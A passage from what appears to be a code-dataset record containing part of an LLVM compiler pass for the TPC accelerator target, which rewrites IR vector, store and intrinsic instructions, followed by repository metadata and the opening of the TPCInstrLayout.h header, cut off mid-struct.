true;\n break;\n }\n }\n }\n if (!elements_are_not_equal) {\n o01 = first;\n }\n }\n else if (cv->isZeroValue()) {\n o01 = cv->getAggregateElement(0U);\n }\n }\n // compare with below for ins1\n }\n if (ins1) {\n o11 = ins1->getOperand(1);\n o12 = ins1->getOperand(2);\n if (!o11->getType()->isVectorTy() && dyn_cast<ConstantInt>(o12)) {\n Val1 = cast<ConstantInt>(o12)->getLimitedValue();\n if (Val1 != 0) {\n o11 = nullptr;\n }\n else if (o01) {\n sum1 = build_op(I, o01, o11);\n }\n }\n }\n else if (auto shuffl = dyn_cast<ShuffleVectorInst>(op1)) { //consider shuffle\n const Constant * mask = shuffl->getMask();\n if (mask->isZeroValue()) {\n auto inse = dyn_cast<InsertElementInst>(shuffl->getOperand(0));\n if (inse && o01) {\n sum1 = build_op(I, o01, inse->getOperand(1));\n }\n }\n }\n else {\n Constant* cv = dyn_cast<Constant>(op1);\n VectorType* cvt = cast<VectorType>(op1->getType());\n if (cv&&cvt) {\n unsigned int veclen = cvt->getNumElements();\n // check if it is irregular vector {v,u,u.....}\n if (isa<ConstantVector>(cv) || isa<ConstantDataVector>(cv)) {\n Constant* first = cv->getAggregateElement(0U);\n bool elements_are_not_equal = false;\n if (!all_zero_shuffle) {\n for (unsigned i = 1; i < veclen; i++) {\n Constant* current = cv->getAggregateElement(i);\n if (current != first && !isa<UndefValue>(current)) {\n elements_are_not_equal = true;\n break;\n }\n }\n }\n if (!elements_are_not_equal && o01) {\n sum1 = build_op(I, o01, first);\n }\n } else if (cv->isZeroValue()&& o01) {\n sum1 = build_op(I, o01, cv->getAggregateElement(0U));\n }\n\n }\n }/// ins1== nullptr, not insert el \n if (sum1) {\n Value* v2 = UndefValue::get(t1);\n Type* current_t = t1;\n int veclen = current_t->getVectorNumElements();\n Value* inse = Builder.CreateInsertElement(v2, sum1, ConstantInt::get(I32Type, 0));\n if (veclen == 64) current_t = VectorType::get(I32Type, 64);\n else if (veclen == 128) current_t = VectorType::get(I32Type, 128);\n else if (veclen == 256) current_t = VectorType::get(I32Type, 256);\n else llvm_unreachable(\"bad vector length\");\n Constant * Zeromask = ConstantInt::get(current_t, 0);\n Value* insshf = Builder.CreateShuffleVector(inse, v2, Zeromask);\n if (insshf) {\n I.replaceAllUsesWith(insshf);\n I.eraseFromParent();\n unite_shuffle(cast<ShuffleVectorInst> (insshf));\n }\n }\n}\n\nbool TPCSelectorPreshaperLegacyPass::runOnFunction(Function &Func) {\n if (skipFunction(Func))\n return false;\n F = &Func;\n LLVMContext &Ctx = Func.getContext();\n NumTransformed = 0;\n SmallVector<Instruction *, 8> IntrinsicsToExpand;\n IntegerType *I32Type = Type::getInt32Ty(Ctx);\n IntegerType *I64Type = Type::getInt64Ty(Ctx);\n PointerType *I32PtrType = Type::getInt32PtrTy(Ctx, 1 /* scalar address space */);\n VectorType* Int64Type = VectorType::get(I32Type, 64);\n VectorType* Int128Type = VectorType::get(I32Type, 128);\n for (auto BBIt = Func.begin(), BBEnd = Func.end(); BBIt != BBEnd;) {\n BasicBlock &BB = *BBIt;\n ++BBIt;\n for (auto It = BB.begin(), E = BB.end(); It != E; ) {\n Instruction &I = *It;\n ++It;\n // Find intrinsics that we do not lower in selector.\n if (shallExpandIntrinsic(I)) {\n IntrinsicsToExpand.push_back(&I);\n continue;\n }\n\n // If IR contans a bitcast from i2048 to a valid TPC vector type, try\n // replacing i2048 with corresponding vector type. For example:\n //\n // %8 = bitcast i2048 %.in to <64 x i32>\n //\n if (auto *BC = dyn_cast<BitCastInst>(&I)) {\n Type *DT = BC->getSrcTy();\n if (auto IT = dyn_cast<IntegerType>(DT)) {\n if (IT->getBitWidth() == 2048) {\n Value *NewV = replace(BC->getOperand(0), cast<VectorType>(BC->getDestTy()));\n BC->replaceAllUsesWith(NewV);\n }\n }\n }\n\n // Stores of i64 are inserted by InstCombiner when it optimizes memset.\n // Split such stores into pairs of i32 stores.\n if (auto *Store = dyn_cast<StoreInst>(&I)) {\n if (Store->getValueOperand()->getType() == I64Type) {\n if (dyn_cast<ConstantInt>(Store->getValueOperand())) {\n uint64_t Val = cast<ConstantInt>(Store->getValueOperand())->getLimitedValue();\n IRBuilder<> Builder(Store);\n auto *V1 = ConstantInt::get(I32Type, Val & 0x0FFFFFFFFUL);\n auto Addr1 = Builder.CreateBitCast(Store->getPointerOperand(), I32PtrType);\n Builder.CreateAlignedStore(V1, Addr1, std::min(Store->getAlignment(), 4U), Store->isVolatile());\n auto Ndx = ConstantInt::get(I32Type, 1);\n auto Addr2 = Builder.CreateGEP(Addr1, Ndx);\n auto *V2 = ConstantInt::get(I32Type, Val >> 32);\n Builder.CreateAlignedStore(V2, Addr2, std::min(Store->getAlignment(), 4U), Store->isVolatile());\n Store->eraseFromParent();\n }\n else {\n auto Val = Store->getValueOperand();\n // We suppose that we got this inst from memcpy\n auto Load = cast<LoadInst>(Val);\n\n auto InitialAddr = Load->getPointerOperand();\n IRBuilder<> LDBuilder(Load);\n\n // Changing i64 load to two i32 loads\n auto LoadAddrHi = LDBuilder.CreateBitCast(InitialAddr, I32PtrType);\n auto LoadHi = LDBuilder.CreateAlignedLoad(LoadAddrHi,\n std::min(Load->getAlignment(), 4U),\n Load->isVolatile());\n auto Ndx = ConstantInt::get(I32Type, 1);\n auto LoadAddrLo = LDBuilder.CreateGEP(LoadAddrHi, Ndx);\n auto LoadLo = LDBuilder.CreateAlignedLoad(LoadAddrLo,\n std::min(Load->getAlignment(), 4U),\n Load->isVolatile());\n\n auto StoreAddr = Store->getPointerOperand();\n IRBuilder<> STBuilder(Store);\n\n // Changing i64 store to two i32 stores\n\n auto StoreAddrHi = STBuilder.CreateBitCast(StoreAddr, I32PtrType);\n STBuilder.CreateAlignedStore(LoadHi, StoreAddrHi,\n std::min(Store->getAlignment(), 4U), Store->isVolatile());\n auto StoreAddrLo = STBuilder.CreateGEP(StoreAddrHi, Ndx);\n STBuilder.CreateAlignedStore(LoadLo, StoreAddrLo,\n std::min(Store->getAlignment(), 4U), Store->isVolatile());\n for (auto Usr : Load->users()) {\n if (auto *BitCast = dyn_cast<BitCastInst>(Usr)) {\n Type *DT = BitCast->getSrcTy();\n Type *TT = BitCast->getDestTy();\n VectorType *vt = cast<VectorType>(TT);\n if (DT == I64Type && vt->getNumElements() == 2 &&\n vt->getElementType() == I32Type) {\n Value* UndefVal = UndefValue::get(vt);\n Constant *C0 = ConstantInt::get(I32Type, 0);\n Constant *C1 = ConstantInt::get(I32Type, 1);\n Value *V2 =\n STBuilder.CreateInsertElement(UndefVal, LoadHi, C0);\n V2 = STBuilder.CreateInsertElement(V2, LoadLo, C1);\n BitCast->replaceAllUsesWith(V2);\n }\n }\n else {\n auto *mayStore = dyn_cast<StoreInst>(Usr);\n if (!mayStore)\n llvm_unreachable(\"unexpectable use of i64 type\");\n }\n }\n Store->eraseFromParent();\n // Do not erase Load,BitCase here, will be removed after DCE \n }\n }\n }\n // llvm Early CSE separate InsertElementInst and ShuffleVectorInst\n // moving Shuffle in other Basic Black\n // after all DAG cannot process it and caused to wrong BUILD_VECTOR {t, undef, undef....\n // this code fix it returning shuffle from other BB into its native place\n // just after InsertElementInst\n else if (auto *inse = dyn_cast<InsertElementInst>(&I)) {\n IRBuilder<> Builder(inse);\n auto opnd1 = I.getOperand(0);\n auto type1 = opnd1->getType();\n if (auto vt = cast<VectorType>(type1)) {\n if (vt->getNumElements() >= 64) {\n for (auto Usr : inse->users()) {\n if (auto shuffl = dyn_cast<ShuffleVectorInst>(Usr)) {\n auto bbsh = shuffl->getParent();\n if (bbsh != &BB) {\n shuffl->moveAfter(inse);\n }\n }\n else { // user is not shuffle\n int nop = Usr->getNumOperands();\n if (nop > 1) {\n // need to seek irregular constant vector\n for (int iop = 0; iop < nop; iop++) {\n Value* opnd = Usr->getOperand(iop);\n Constant* cv = dyn_cast<Constant>(opnd);\n VectorType* cvt = cast<VectorType>(opnd->getType());\n if (cv&&cvt) {\n unsigned int veclen = cvt->getNumElements();\n // check if it is irregular vector {v,u,u.....}\n if (isa<ConstantVector>(cv) || isa<ConstantDataVector>(cv)) {\n Constant* first = cv->getAggregateElement(0U);\n bool elements_are_not_equal = false;\n for (unsigned i = 1; i < veclen; i++) {\n if (cv->getAggregateElement(i) != first) {\n elements_are_not_equal = true;\n break;\n }\n }\n if (elements_are_not_equal) {\n // need replace with uniform vector (first, first,....)\n SmallVector<Constant*, 64> Result;\n for (unsigned int i = 0; i < veclen; i++) {\n Result.push_back(first);\n }\n Value* newK = ConstantVector::get(Result);\n Usr->setOperand(iop, newK);\n // now need remove undef in shaffle mask\n for (auto UsrUsr : Usr->users()) {\n if (auto shuffl = dyn_cast<ShuffleVectorInst>(UsrUsr)) {\n const Constant * mask = shuffl->getMask();\n int msksize = mask->getType()->getVectorNumElements();\n bool undef=false, other = false;\n for (int i = 0; i < msksize; i++) {\n int elm = shuffl->getMaskValue(i);\n if (elm < 0) undef = true;\n else other = true;\n }\n if (!other && undef) {\n Constant * newzeromask = nullptr;\n if (msksize == 64) {\n newzeromask = ConstantInt::get(Int64Type, 0);\n }\n else if (msksize == 128){\n newzeromask = ConstantInt::get(Int128Type, 0);\n }\n if (newzeromask) {\n shuffl->setOperand(2, newzeromask);\n }\n }\n }\n }\n }\n }\n }\n }\n }\n }\n }\n }\n }\n }\n else if (auto *shafi = dyn_cast<ShuffleVectorInst>(&I)) {\n const Constant * mask = shafi->getMask();\n int first, second;\n unsigned half1, half2;\n int sosize = shafi->getOperand(0)->getType()->getVectorNumElements();\n int msksize = mask->getType()->getVectorNumElements();\n if (msksize >= sosize && // no need to analyze extract\n analyze_shuffle_mask(mask, &first, &second)) {\n unsigned concat1, concat2 = second >> 1;\n if (first < 0) {// 1st half is undef\n concat1 = concat2;\n half2 = second & 1;\n half1 = half2 ^ 1;\n }\n else {\n concat1 = first >> 1;\n if (concat1 == concat2) {\n // no need transorm instruction\n continue;\n }\n half1 = first & 1;\n half2 = second & 1;\n }\n auto opnd1 = shafi->getOperand(concat1);\n auto opnd2 = shafi->getOperand(concat2);\n // need to extract half1 from opnd1\n IRBuilder<> Builder(shafi);\n Constant * mask4half;\n unsigned MaskNumElts = mask->getType()->getVectorNumElements();\n unsigned half_size = MaskNumElts / 2;\n Value * shaf1, *shaf2, *shaf_last;\n if (!half1) {\n mask4half = createSequentialMask(Builder, 0, half_size, 0);\n Value* v1 = opnd1;\n VectorType *VecTy = dyn_cast<VectorType>(v1->getType());\n Value* v2 = UndefValue::get(VecTy);\n shaf1 = Builder.CreateShuffleVector(v1, v2, mask4half);\n }\n else {\n mask4half = createSequentialMask(Builder, half_size, half_size, 0);\n Value* v1 = opnd2;\n VectorType *VecTy = dyn_cast<VectorType>(v1->getType());\n Value* v2 = UndefValue::get(VecTy);\n shaf1 = (Builder.CreateShuffleVector(v1, v2, mask4half));\n }\n if (!half2) {\n mask4half = createSequentialMask(Builder, 0, half_size, 0);\n Value* v1 = opnd2;\n VectorType *VecTy = dyn_cast<VectorType>(v1->getType());\n Value* v2 = UndefValue::get(VecTy);\n shaf2 = Builder.CreateShuffleVector(v1, v2, mask4half);\n }\n else {\n mask4half = createSequentialMask(Builder, half_size, half_size, 0);\n Value* v1 = opnd2;\n VectorType *VecTy = dyn_cast<VectorType>(v1->getType());\n Value* v2 = UndefValue::get(VecTy);\n shaf2 = Builder.CreateShuffleVector(v1, v2, mask4half);\n }\n if (shaf1 && shaf2) {\n mask4half = createSequentialMask(Builder, 0, MaskNumElts, 0);\n shaf_last = Builder.CreateShuffleVector(shaf1, shaf2, mask4half);\n if (shaf_last) {\n shafi->replaceAllUsesWith(shaf_last);\n shafi->eraseFromParent();\n }\n }\n }\n } // end of shuffle\n else if (auto *sitofp = dyn_cast<SIToFPInst>(&I)) {\n Type* ty = sitofp->getType();\n auto opnd1 = I.getOperand(0);\n auto type_from = opnd1->getType();\n if (type_from->isIntegerTy(32) && ty->isBFloat16Ty()) {\n IRBuilder<> Builder(sitofp);\n Intrinsic::ID intrinId = Intrinsic::tpc_convert;\n Module *Mod = Func.getParent();\n Value *ExtF = Intrinsic::getDeclaration(Mod, intrinId, { ty, type_from, IntegerType::get(F->getContext(), 1) });\n Value *NewIns = Builder.CreateCall(ExtF,\n { opnd1, //src1\n ConstantInt::get(Type::getInt8Ty(Ctx), 2),//op_type = INT32\n ConstantInt::get(Type::getInt32Ty(Ctx), 1 << 12 | 1 << 8), //target_type = BF16 | lane_sel = 1\n UndefValue::get(ty),\n ConstantInt::get(Type::getInt1Ty(BB.getContext()), 1),\n ConstantInt::get(Type::getInt1Ty(BB.getContext()), 0) });\n sitofp->replaceAllUsesWith(NewIns);\n sitofp->eraseFromParent();\n }\n }\n else if (I.getOpcode() == Instruction::Sub) {\n IRBuilder<> Builder(&I);\n auto opnd0 = I.getOperand(0);\n auto opnd1 = I.getOperand(1);\n Type* t0 = opnd0->getType();\n Type* t1 = opnd1->getType();\n if (t0->isVectorTy() || t1->isVectorTy()) {\n if (user_is_zero_mask_shuffle(I)) {\n Constant *CI = ConstantInt::get(Type::getInt32Ty(Ctx), 0);\n Value *e0 = opnd0, *e1 = opnd1;\n VectorType* VecType = nullptr;\n Value *UndefVal = nullptr;\n if (t0->isVectorTy()) {\n auto *insel = dyn_cast<InsertElementInst>(opnd0);\n if (insel) {\n e0 = insel->getOperand(1);\n }\n else {\n e0 = Builder.CreateExtractElement(opnd0, CI);\n }\n VecType = cast<VectorType>(t0);\n }\n if (t1->isVectorTy()) {\n auto *insel = dyn_cast<InsertElementInst>(opnd1);\n if (insel) {\n e1 = insel->getOperand(1);\n }\n else {\n e1 = Builder.CreateExtractElement(opnd1, CI);\n }\n VecType = cast<VectorType>(t1);\n }\n Value* scalar_sub = Builder.CreateNSWSub(e0, e1);\n UndefVal = UndefValue::get(VecType);\n Value* new_vec_sub = Builder.CreateInsertElement(UndefVal, scalar_sub, CI);\n if (new_vec_sub) {\n I.replaceAllUsesWith(new_vec_sub);\n I.eraseFromParent();\n continue;\n }\n }\n }\n if (t0 != t1) continue;\n if (t1->isVectorTy()) {\n Type* Elt = t1->getVectorElementType();\n unsigned eltsize = Elt->getScalarSizeInBits();\n if (eltsize == 32 && t1->getVectorNumElements() == 256,0) { //not supported in BE, need to lower\n Constant * mask1 = createSequentialMask(Builder, 0, 64, 0);\n Constant * mask2 = createSequentialMask(Builder, 64, 64, 0);\n Constant * mask3 = createSequentialMask(Builder, 128, 64, 0);\n Constant * mask4 = createSequentialMask(Builder, 192, 64, 0);\n Value* vu = UndefValue::get(t1);\n Value* novo11 = Builder.CreateShuffleVector(opnd0, vu, mask1);\n Value* novo21 = Builder.CreateShuffleVector(opnd0, vu, mask2);\n Value* novo31 = Builder.CreateShuffleVector(opnd0, vu, mask3);\n Value* novo41 = Builder.CreateShuffleVector(opnd0, vu, mask4);\n\n Value* novo12 = Builder.CreateShuffleVector(opnd1, vu, mask1);\n Value* novo22 = Builder.CreateShuffleVector(opnd1, vu, mask2);\n Value* novo32 = Builder.CreateShuffleVector(opnd1, vu, mask3);\n Value* novo42 = Builder.CreateShuffleVector(opnd1, vu, mask4);\n\n Value* sub1 = Builder.CreateSub(novo11, novo12);\n Value* sub2 = Builder.CreateSub(novo21, novo22);\n Value* sub3 = Builder.CreateSub(novo31, novo32);\n Value* sub4 = Builder.CreateSub(novo41, novo42);\n\n Constant* m256_1 = createSequentialMask(Builder, 0, 128, 128);\n Constant* m256_2;\n SmallVector<Constant *, 64> Mask;\n Constant *Undef = UndefValue::get(Builder.getInt32Ty());\n for (unsigned i = 0; i < 128; i++)\n Mask.push_back(Undef);\n for (unsigned i = 0; i < 128; i++)\n Mask.push_back(Builder.getInt32(i));\n m256_2 = ConstantVector::get(Mask);\n\n Value* v256_1 = Builder.CreateShuffleVector(sub1, sub2, m256_1);\n Value* v256_2 = Builder.CreateShuffleVector(sub3, sub4, m256_2);\n SmallVector<Constant *, 16> MaskC;\n for (unsigned i = 0; i < 128; i++)\n MaskC.push_back(Builder.getInt32(i));\n for (unsigned i = 384; i < 512; i++)\n MaskC.push_back(Builder.getInt32(i));\n\n Constant * maskconcat = ConstantVector::get(MaskC);\n Value*concatv = Builder.CreateShuffleVector(v256_1, v256_2, maskconcat);\n if (concatv) {\n I.replaceAllUsesWith(concatv);\n I.eraseFromParent();\n }\n }\n }\n }\n else if (I.getOpcode() == Instruction::FMul) {\n IRBuilder<> Builder(&I);\n auto opnd0 = I.getOperand(0);\n auto opnd1 = I.getOperand(1);\n Type* t0 = opnd0->getType();\n Type* t1 = opnd1->getType();\n if (t0 == t1 && t1->isVectorTy()){ \n int eltsize = t1->getVectorElementType()->getScalarSizeInBits();\n int vecsize = t1->getVectorNumElements();\n if (eltsize == 32 && vecsize == 128) {\n Constant * mask1 = createSequentialMask(Builder, 0, 64, 0);\n Constant * mask2 = createSequentialMask(Builder, 64, 64, 0);\n Value* v2 = UndefValue::get(t1);\n Value* novo11 = Builder.CreateShuffleVector(opnd0, v2, mask1);\n Value* novo21 = Builder.CreateShuffleVector(opnd0, v2, mask2);\n Value* novo12 = Builder.CreateShuffleVector(opnd1, v2, mask1);\n Value* novo22 = Builder.CreateShuffleVector(opnd1, v2, mask2);\n Value* mul1 = Builder.CreateFMul(novo11, novo12);\n Value* mul2 = Builder.CreateFMul(novo21, novo22);\n Constant * maskconcat = createSequentialMask(Builder, 0, 128, 0);\n Value* concatv = Builder.CreateShuffleVector(mul1, mul2, maskconcat);\n if (concatv) {\n I.replaceAllUsesWith(concatv);\n I.eraseFromParent();\n }\n }\n else if (eltsize == 32 && vecsize == 64) {\n unvect_instr(I, Ctx);\n }\n else if (eltsize == 16 && vecsize == 128) {\n unvect_instr(I, Ctx);\n }\n }\n else if (t0->isVectorTy() || t1->isVectorTy()) {\n if (I.getNumUses() == 1) {\n auto *fmuser = I.user_back();\n if (auto *shafi = dyn_cast<ShuffleVectorInst>(fmuser)) {\n const Constant * mask = shafi->getMask();\n int msksize = mask->getType()->getVectorNumElements();\n SmallVector<int, 32> Indices;\n ShuffleVectorInst::getShuffleMask(mask, Indices);\n //analyze if all mask is 0\n bool all_zero = true;\n for (int i = 0; i < msksize; i++) {\n if (Indices[i] != 0) {\n all_zero = false;\n break;\n }\n }\n if (all_zero) {\n Constant *CI = ConstantInt::get(Type::getInt32Ty(Ctx), 0);\n Value *e0=opnd0, *e1=opnd1;\n VectorType* VecType = nullptr;\n Value *UndefVal = nullptr;\n if (t0->isVectorTy()) {\n auto *insel = dyn_cast<InsertElementInst>(opnd0);\n if (insel) {\n e0 = insel->getOperand(1);\n }\n else {\n e0 = Builder.CreateExtractElement(opnd0, CI);\n VecType = cast<VectorType>(t0);\n }\n }\n if (t1->isVectorTy()) {\n e1 = Builder.CreateExtractElement(opnd1, CI);\n VecType = cast<VectorType>(t1);\n }\n Value* scalar_mul = Builder.CreateFMul(e0, e1);\n UndefVal = UndefValue::get(VecType);\n Value* new_vec_mul = Builder.CreateInsertElement(UndefVal, scalar_mul, CI);\n if (new_vec_mul) {\n I.replaceAllUsesWith(new_vec_mul);\n I.eraseFromParent();\n }\n }\n }\n }\n }\n }\n else if (I.getOpcode() == Instruction::Mul\n || I.getOpcode() == Instruction::Shl \n || I.getOpcode() == Instruction::LShr \n || I.getOpcode() == Instruction::And\n || I.getOpcode() == Instruction::Add\n ) {\n IRBuilder<> Builder(&I);\n auto opnd0 = I.getOperand(0);\n auto opnd1 = I.getOperand(1);\n Type* t0 = opnd0->getType();\n Type* t1 = opnd1->getType();\n if (t0 == t1 && t1->isVectorTy()) {\n int eltsize = t1->getVectorElementType()->getScalarSizeInBits();\n int vecsize = t1->getVectorNumElements();\n if (eltsize == 32 && vecsize == 64) {\n unvect_instr(I, Ctx);\n }\n else if (eltsize == 16 && vecsize == 128) {\n unvect_instr(I, Ctx);\n } \n }\n }\n else if (const IntrinsicInst* intrins = dyn_cast<IntrinsicInst>(&I)) {\n IRBuilder<> Builder(&I);\n Intrinsic::ID inid = intrins->getIntrinsicID();\n \n if (inid == Intrinsic::tpc_nearbyint) {\n if (!EnableNearbyintWorkaround) {\n continue;\n }\n\n AttributeList Fa = Func.getAttributes();\n if (Fa.hasFnAttribute(\"target-cpu\")) {\n auto as= Fa.begin();\n Attribute tac = as->getAttribute(\"target-cpu\");\n auto savl = tac.getValueAsString();\n if (savl != \"goya\") {\n continue;\n }\n }\n Value* NearVal= I.getOperand(0);\n Type* TNear = NearVal->getType();\n Value* switch_opnd = I.getOperand(2);\n Value* income = I.getOperand(3);\n Value* predic_opnd = I.getOperand(4);\n Type* Tpredic = predic_opnd->getType();\n Value* polarity = I.getOperand(5);\n ConstantInt* ci = cast<ConstantInt>(switch_opnd);\n int swval = ci->getLimitedValue() & 0xf;\n if (swval != 0 && swval != 5) {\n continue;\n }\n ConstantInt* cp = cast<ConstantInt>(polarity);\n int poval = cp->getLimitedValue() & 0x1;\n Value *ExtF;\n Value* ExtrExp;\n Type* TExp; // Type for exp , must be int of same size TNear\n int tsize = TNear->getPrimitiveSizeInBits();\n if (tsize == 32) {\n TExp = Type::getInt32Ty(Ctx);\n }\n else if (tsize == 16) {\n TExp = Type::getInt32Ty(Ctx);\n }\n else if (TNear == VectorType::get(Type::getFloatTy(Ctx), 64)) {\n TExp = VectorType::get(Type::getInt32Ty(Ctx), 64);\n }\n else if (TNear == VectorType::get(Type::getBFloat16Ty(Ctx), 128)) {\n TExp = VectorType::get(Type::getInt16Ty(Ctx), 128);\n }\n else if (TNear == VectorType::get(Type::getHalfTy(Ctx), 128)) {\n TExp = VectorType::get(Type::getInt16Ty(Ctx), 128);\n }\n else {\n llvm_unreachable(\"bad type\");\n }\n ExtF = Intrinsic::getDeclaration(F->getParent()\n , Intrinsic::tpc_extract_exp,\n {TExp,TNear,Type::getInt1Ty(Ctx) });\n ExtrExp = Builder.CreateCall(ExtF,\n { NearVal,\n ConstantInt::get(Type::getInt8Ty(Ctx), 0),\n ConstantInt::get(Type::getInt32Ty(Ctx), 0),\n UndefValue::get(TExp),\n ConstantInt::get(Type::getInt1Ty(Ctx), 1),\n ConstantInt::get(Type::getInt1Ty(Ctx), 0)\n });\n\n Constant *Neg32 = ConstantInt::get(TExp, -32);\n Value* cmp_32;\n Value* NewPred;\n /// round mode extraction\n ExtF = Intrinsic::getDeclaration(F->getParent(), Intrinsic::tpc_ld_l, Type::getInt32Ty(Ctx));\n Value* roundmode = Builder.CreateCall(ExtF,\n { ConstantInt::get(Type::getInt32Ty(Ctx), 2044),\n ConstantInt::get(Type::getInt32Ty(Ctx), 1),\n UndefValue::get(Type::getInt32Ty(Ctx)),\n ConstantInt::get(Type::getInt1Ty(Ctx), 1),\n ConstantInt::get(Type::getInt1Ty(Ctx), 0)\n });\n Value* cmp0 = Builder.CreateICmpNE(roundmode, ConstantInt::get(Type::getInt32Ty(Ctx), 0));\n\n if (TNear->isVectorTy()) {\n ExtF = Intrinsic::getDeclaration(F->getParent()\n , Intrinsic::tpc_cmp_neq,\n { VectorType::get(Type::getInt1Ty(Ctx), 256),TExp,TExp,Type::getInt1Ty(Ctx) });\n cmp_32 = Builder.CreateCall(ExtF,\n { ExtrExp,Neg32,\n ConstantInt::get(Type::getInt8Ty(Ctx), 2),\n ConstantInt::get(Type::getInt32Ty(Ctx), 0),\n UndefValue::get(VectorType::get(Type::getInt1Ty(Ctx), 256)),\n ConstantInt::get(Type::getInt1Ty(Ctx), 1),\n ConstantInt::get(Type::getInt1Ty(Ctx), 0)\n });\n NewPred = cmp_32;\n if (swval == 5) {\n // need to broadcast cmp0\n cmp0 = Builder.CreateVectorSplat(256, cmp0);\n NewPred = Builder.CreateOr(cmp0, cmp_32);\n }\n if (poval == 1) {\n predic_opnd = Builder.CreateNot(predic_opnd);\n I.setOperand(5, ConstantInt::get(Type::getInt1Ty(Ctx), 0));\n }\n if (!Tpredic->isVectorTy()) {\n predic_opnd = Builder.CreateVectorSplat(256, predic_opnd);\n }\n\n NewPred = Builder.CreateAnd(predic_opnd, NewPred);\n if (!isa<UndefValue>(income)) {\n auto cincome = dyn_cast<Constant>(income);\n if (cincome) {\n if (!cincome->isZeroValue()) {\n // incompatible with predicate\n if (!dyn_cast<ConstantInt>(predic_opnd)) {\n llvm_unreachable(\"income with rt predicate\");\n }\n }\n }\n }\n // neeed to set zero into income\n I.setOperand(3, ConstantFP::get(TNear, 0.0));\n I.setOperand(4, NewPred);\n // need to reconfigure call, as pred become vector\n ExtF = Intrinsic::getDeclaration(F->getParent(), Intrinsic::tpc_nearbyint,\n { TNear,TNear,predic_opnd->getType() }\n );\n Value* newnear = Builder.CreateCall(ExtF,\n { I.getOperand(0),\n I.getOperand(1),\n I.getOperand(2),\n I.getOperand(3),\n I.getOperand(4),\n I.getOperand(5),\n });\n\n I.replaceAllUsesWith(newnear);\n I.eraseFromParent();\n }\n else {\n NewPred = Builder.CreateICmpNE(ExtrExp, Neg32);\n if (swval == 5) {\n NewPred = Builder.CreateOr(cmp0, NewPred);\n }\n if (poval == 1) {\n predic_opnd = Builder.CreateNot(predic_opnd);\n I.setOperand(5, ConstantInt::get(Type::getInt1Ty(Ctx), 0));\n }\n NewPred = Builder.CreateAnd(predic_opnd, NewPred);\n\n if (!isa<UndefValue>(income)) {\n auto cincome = dyn_cast<Constant>(income);\n if (cincome) {\n if (!cincome->isZeroValue()) {\n // incompatible with predicate\n if (!dyn_cast<ConstantInt>(predic_opnd)) {\n llvm_unreachable(\"income with rt predicate\");\n }\n }\n }\n }\n // neeed to set zero into income\n I.setOperand(3, ConstantFP::get(TNear, 0.0));\n I.setOperand(4, NewPred);\n }\n }\n else if (inid == Intrinsic::dbg_value) {\n unsigned Numop = intrins->getNumOperands();\n if (Numop >= 3) {\n auto opnd2 = intrins->getOperand(2);\n MetadataAsValue *md2 = dyn_cast<MetadataAsValue>(opnd2);\n Metadata *MD = md2->getMetadata();\n if (const DIExpression *Expr = dyn_cast<DIExpression>(MD)) {\n \n if (Expr->getNumElements() > 0 && Expr->getElement(0) == dwarf::DW_OP_LLVM_fragment) {\n assert(Expr->getNumElements()==3);\n unsigned left = Expr->getElement(1);\n unsigned bsz = Expr->getElement(2);\n auto opnd0 = intrins->getOperand(0);\n Type *t0 = opnd0->getType();\n unsigned szb0 = t0->getScalarSizeInBits();\n if (left + bsz >= szb0) { //incorrect instr\n I.eraseFromParent();\n }\n }\n }\n }\n }\n }\n }\n }\n NumTransformed += expandIntrinsics(IntrinsicsToExpand);\n return NumTransformed > 0;\n}\n\nValue *TPCSelectorPreshaperLegacyPass::replace(Value *V, VectorType *DType) {\n if (V->getType() == DType)\n return V;\n\n if (auto *BC = dyn_cast<BitCastInst>(V)) {\n Value *Src = BC->getOperand(0);\n if (Src->getType() == DType)\n return Src;\n ++NumTransformed;\n IRBuilder<> Builder(BC);\n return Builder.CreateBitCast(Src, DType);\n }\n\n if (auto *PHI = dyn_cast<PHINode>(V)) {\n IRBuilder<> Builder(PHI);\n unsigned NIncome = PHI->getNumOperands();\n ++NumTransformed;\n PHINode *NewPhi = Builder.CreatePHI(DType, NIncome);\n for (unsigned I = 0; I != NIncome; ++I) {\n Value *Op = PHI->getIncomingValue(I);\n Value *NewOp = replace(Op, DType);\n NewPhi->addIncoming(NewOp, PHI->getIncomingBlock(I));\n }\n return NewPhi;\n }\n\n if (auto *EEI = dyn_cast<ExtractElementInst>(V)) {\n Value *Src = EEI->getOperand(0);\n ConstantInt *Ndx = cast<ConstantInt>(EEI->getOperand(1));\n auto SVT = cast<VectorType>(Src->getType());\n unsigned Factor = SVT->getBitWidth() / DType->getBitWidth();\n unsigned NewVSize = Factor * DType->getNumElements();\n auto *NewDVT = VectorType::get(DType->getVectorElementType(), NewVSize);\n Value *NewSrc = replace(Src, NewDVT);\n IRBuilder<> Builder(EEI);\n SmallVector<unsigned, 64> Mask;\n unsigned DVSize = DType->getVectorNumElements();\n Mask.reserve(DVSize);\n unsigned Offset = Ndx->getLimitedValue() * DVSize;\n for (unsigned I = 0; I < DVSize; ++I, ++Offset)\n Mask.push_back(Offset);\n return Builder.CreateShuffleVector(NewSrc, UndefValue::get(NewDVT), Mask);\n }\n\n llvm_unreachable(\"Unhandled value\");\n}\n\n" }, { "alpha_fraction": 0.43343138694763184, "alphanum_fraction": 0.488921582698822, "avg_line_length": 40.46341323852539, "blob_id": "9fd88e6dc3b74ef97e4a1d01d64e63acf23f0bcd", "content_id": "996aca3190572741cb87fc08fcecdb38b961d834", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 10200, "license_type": "permissive", "max_line_length": 144, "num_lines": 246, "path": "/llvm/lib/Target/TPC/MCTargetDesc/TPCInstrLayout.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- TPCInstrLayout.h - ----------------------------------------*- C++ -*--//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// This class prints a TPC MCInst to a .s file.\n//\n//===----------------------------------------------------------------------===//\n\n#ifndef LLVM_TPCINSTRLAYOUT_H\n#define LLVM_TPCINSTRLAYOUT_H\n\n#include \"TPCSubtarget.h\"\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"MCTargetDesc/TPCMCInstrInfo.h\"\n#include <bitset>\n\nnamespace llvm {\n\n struct Field {\n unsigned startBin;\n unsigned startLLVM;\n unsigned size;\n\n Field(unsigned _startBin, unsigned _startLLVM, unsigned _size) : startBin(_startBin), startLLVM(_startLLVM),\n size(_size) {};\n 